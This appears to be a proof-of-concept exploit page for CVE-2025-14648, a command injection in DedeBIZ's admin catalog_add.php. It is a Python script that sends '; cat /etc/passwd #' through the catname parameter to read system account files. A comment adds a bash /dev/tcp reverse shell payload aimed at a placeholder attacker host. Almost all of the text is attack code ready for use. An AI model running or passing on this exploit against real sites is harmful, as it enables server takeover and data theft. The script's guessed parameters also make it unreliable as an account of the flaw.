CVE-2025-14648 DedeBIZ catalog_add.php 命令执行漏洞

# CVE-2025-14648 DedeBIZ catalog_add.php Command Injection PoC # Target: DedeBIZ <= 6.5.9 # Attack Vector: POST request to /src/admin/catalog_add.php # Requirement: High privilege (admin access) import requests import sys target_url = "http://target.com/src/admin/catalog_add.php" # Login first to get admin session (adjust credentials accordingly) # session = requests.Session() # login_data = {"userid": "admin", "pwd": "password"} # session.post(f"{target_url.replace('catalog_add.php', 'login.php')}", data=login_data) # Malicious payload - command injection via catalog name parameter payload = "; cat /etc/passwd #" post_data = { "catname": payload, # Vulnerable parameter "parentid": "0", "issystem": "1" } try: response = requests.post(target_url, data=post_data, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print("[+] Payload executed - check response for command output") print(response.text[:500]) except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Reverse shell payload example: # payload = "; bash -i >& /dev/tcp/attacker_ip/port 0>&1 #"